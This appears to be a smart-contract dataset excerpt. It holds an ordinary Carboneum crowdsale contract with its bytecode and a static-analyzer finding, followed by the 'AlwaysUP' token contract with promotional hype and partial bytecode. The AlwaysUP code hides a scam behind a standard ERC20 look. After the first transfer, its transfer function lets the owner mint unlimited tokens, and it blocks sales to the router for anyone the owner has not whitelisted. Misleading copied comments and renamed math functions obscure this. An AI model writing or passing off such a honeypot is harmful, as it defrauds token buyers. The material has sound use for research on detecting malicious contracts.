require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: zeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol /** * @title AllowanceCrowdsale * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; address public tokenWallet; /** * @dev Constructor, takes token wallet address. * @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale */ function AllowanceCrowdsale(address _tokenWallet) public { require(_tokenWallet != address(0)); tokenWallet = _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return token.allowance(tokenWallet, this); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transferFrom(tokenWallet, _beneficiary, _tokenAmount); } } // File: zeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/crowdsale/validation/IndividuallyCappedCrowdsale.sol /** * @title IndividuallyCappedCrowdsale * @dev Crowdsale with per-user caps. */ contract IndividuallyCappedCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; mapping(address => uint256) public contributions; mapping(address => uint256) public caps; /** * @dev Sets a specific user's maximum contribution. * @param _beneficiary Address to be capped * @param _cap Wei limit for individual contribution */ function setUserCap(address _beneficiary, uint256 _cap) external onlyOwner { caps[_beneficiary] = _cap; } /** * @dev Sets a group of users' maximum contribution. * @param _beneficiaries List of addresses to be capped * @param _cap Wei limit for individual contribution */ function setGroupCap(address[] _beneficiaries, uint256 _cap) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { caps[_beneficiaries[i]] = _cap; } } /** * @dev Returns the cap of a specific user. * @param _beneficiary Address whose cap is to be checked * @return Current cap for individual user */ function getUserCap(address _beneficiary) public view returns (uint256) { return caps[_beneficiary]; } /** * @dev Returns the amount contributed so far by a sepecific user. * @param _beneficiary Address of contributor * @return User contribution so far */ function getUserContribution(address _beneficiary) public view returns (uint256) { return contributions[_beneficiary]; } /** * @dev Extend parent behavior requiring purchase to respect the user's funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(contributions[_beneficiary].add(_weiAmount) <= caps[_beneficiary]); } /** * @dev Extend parent behavior to update user contributions * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } } // File: zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= now); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: contracts/CarboneumCrowdsale.sol /** * @title CarboneumCrowdsale * @dev This is Carboneum fully fledged crowdsale. * CappedCrowdsale - sets a max boundary for raised funds. * AllowanceCrowdsale - token held by a wallet. * IndividuallyCappedCrowdsale - Crowdsale with per-user caps. * TimedCrowdsale - Crowdsale accepting contributions only within a time frame. */ contract CarboneumCrowdsale is CappedCrowdsale, AllowanceCrowdsale, IndividuallyCappedCrowdsale, TimedCrowdsale { uint256 public pre_sale_end; function CarboneumCrowdsale( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _tokenWallet, address _fundWallet, uint256 _cap, ERC20 _token, uint256 _preSaleEnd) public AllowanceCrowdsale(_tokenWallet) Crowdsale(_rate, _fundWallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) { require(_preSaleEnd < _closingTime); pre_sale_end = _preSaleEnd; } function setRate(uint256 _rate) external onlyOwner { rate = _rate; } function getRate() public view returns (uint256) { return rate; } /** * @dev Add bonus to pre-sale period. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 newRate = rate; if (now < pre_sale_end) {// solium-disable-line security/no-block-members // Bonus 8% newRate += rate * 8 / 100; } return _weiAmount.mul(newRate); } }
0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631515bc2b1461013e5780632c4e722e1461016b57806334fcf43714610194578063355274ea146101b75780634042b66f146101e057806342e94c90146102095780634b6753bc146102565780634f9359451461027f578063521eb273146102ac57806366d97b2114610301578063679aefce1461034e5780638b58c64c146103775780638da5cb5b146103c45780639c04e4e714610419578063a31f61fc14610442578063b7a8807c14610479578063bb8b2b47146104a2578063bf583903146104ef578063bff99c6c14610518578063c3143fe51461056d578063ec8ac4d8146105af578063f2fde38b146105dd578063fc0c546a14610616575b61013c3361066b565b005b341561014957600080fd5b610151610739565b604051808215151515815260200191505060405180910390f35b341561017657600080fd5b61017e610745565b6040518082815260200191505060405180910390f35b341561019f57600080fd5b6101b5600480803590602001909190505061074b565b005b34156101c257600080fd5b6101ca6107b1565b6040518082815260200191505060405180910390f35b34156101eb57600080fd5b6101f36107b7565b6040518082815260200191505060405180910390f35b341561021457600080fd5b610240600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107bd565b6040518082815260200191505060405180910390f35b341561026157600080fd5b6102696107d5565b6040518082815260200191505060405180910390f35b341561028a57600080fd5b6102926107db565b604051808215151515815260200191505060405180910390f35b34156102b757600080fd5b6102bf6107ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561030c57600080fd5b610338600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610810565b6040518082815260200191505060405180910390f35b341561035957600080fd5b610361610828565b6040518082815260200191505060405180910390f35b341561038257600080fd5b6103ae600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610832565b6040518082815260200191505060405180910390f35b34156103cf57600080fd5b6103d761087b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042457600080fd5b61042c6108a1565b6040518082815260200191505060405180910390f35b341561044d57600080fd5b610477600480803590602001908201803590602001919091929080359060200190919050506108a7565b005b341561048457600080fd5b61048c610996565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104d9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061099c565b6040518082815260200191505060405180910390f35b34156104fa57600080fd5b6105026109e5565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61052b610b21565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057857600080fd5b6105ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b47565b005b6105db600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061066b565b005b34156105e857600080fd5b610614600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610beb565b005b341561062157600080fd5b610629610d43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008034915061067b8383610d68565b61068482610d95565b905061069b82600354610dd990919063ffffffff16565b6003819055506106ab8382610df7565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36107228383610e05565b61072a610ea8565b6107348383610f0c565b505050565b6000600a544211905090565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107a757600080fd5b8060028190555050565b60045481565b60035481565b60076020528060005260406000206000915090505481565b600a5481565b60006004546003541015905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b6000600254905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090557600080fd5b600090505b83839050811015610990578160086000868685818110151561092857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808060010191505061090a565b50505050565b60095481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610b0157600080fd5b6102c65a03f11515610b1257600080fd5b50505060405180519050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba357600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c8357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6009544210158015610d7c5750600a544211155b1515610d8757600080fd5b610d918282610f10565b5050565b6000806002549050600b54421015610dbe576064600860025402811515610db857fe5b04810190505b610dd18184610fbd90919063ffffffff16565b915050919050565b6000808284019050838110151515610ded57fe5b8091505092915050565b610e018282610ff8565b5050565b610e0f828261113a565b610e6181600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd990919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610f0a57600080fd5b565b5050565b610f1a828261113e565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fac82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd990919063ffffffff16565b11151515610fb957600080fd5b5050565b6000806000841415610fd25760009150610ff1565b8284029050828482811515610fe357fe5b04141515610fed57fe5b8091505b5092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684846000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561111a57600080fd5b6102c65a03f1151561112b57600080fd5b50505060405180519050505050565b5050565b6111488282611171565b60045461116082600354610dd990919063ffffffff16565b1115151561116d57600080fd5b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156111ad57600080fd5b600081141515156111bd57600080fd5b50505600a165627a7a7230582011c6bde7aaf5d0b8fb1862d731ac945f98368a36f4f0fd97205568f385cdf4ba0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,522
0x989bcd8ee220d8ef8185ce7622c307a3dd6839a4
/* @TimeToGoUP Are you ready Anon? For the moment of truth? The time has come... for us to go 🆙 like always! ⚠️ BEARS GET THE ROPE WE FEATURE A 1% MARKETING TAX BECAUSE WE'RE CHADS TO ENSURE THAT THIS TOKEN ALWAYS GOES 🆙 🚀 GET IN NOW OR FOMO IN WHEN WE ARE 1000% UP, THE ROCKET IS NOT STOPPING 👾 DEGENS LOVE THIS FOR A REASON. PREPARE FOR BIG MARKETING PUSHES AFTER LAUNCH. */ library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function _enabletradingpublic (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function _setfee(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract AlwaysUP is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 1000000000000 * 10 ** 18; constructor () ERC20(unicode'Always⬆️','AlwaysUp') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610274578063a457c2d714610292578063a9059cbb146102c2578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a614610230578063818812fa1461023a5780638da5cb5b14610256576100f5565b80631aa070e0116100d35780631aa070e01461016657806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b6101506103d2565b60405161015d91906115cb565b60405180910390f35b610180600480360381019061017b91906115e6565b6103dc565b005b61019c60048036038101906101979190611613565b6104b5565b6040516101a991906115a1565b60405180910390f35b6101ba6105b6565b6040516101c79190611682565b60405180910390f35b6101ea60048036038101906101e59190611546565b6105de565b6040516101f791906115a1565b60405180910390f35b61021a600480360381019061021591906115e6565b61068a565b60405161022791906115cb565b60405180910390f35b6102386106d3565b005b610254600480360381019061024f91906117e5565b610829565b005b61025e610904565b60405161026b919061183d565b60405180910390f35b61027c61092a565b604051610289919061147c565b60405180910390f35b6102ac60048036038101906102a79190611546565b6109bc565b6040516102b991906115a1565b60405180910390f35b6102dc60048036038101906102d79190611546565b610ab0565b6040516102e991906115a1565b60405180910390f35b61030c60048036038101906103079190611858565b610d17565b60405161031991906115cb565b60405180910390f35b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6000600654905090565b6103e4610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046890611945565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006104c2848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906119d7565b60405180910390fd5b6105aa85610599610d9e565b85846105a59190611a26565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106806105eb610d9e565b8484600560006105f9610d9e565b73fffffffffffffffffff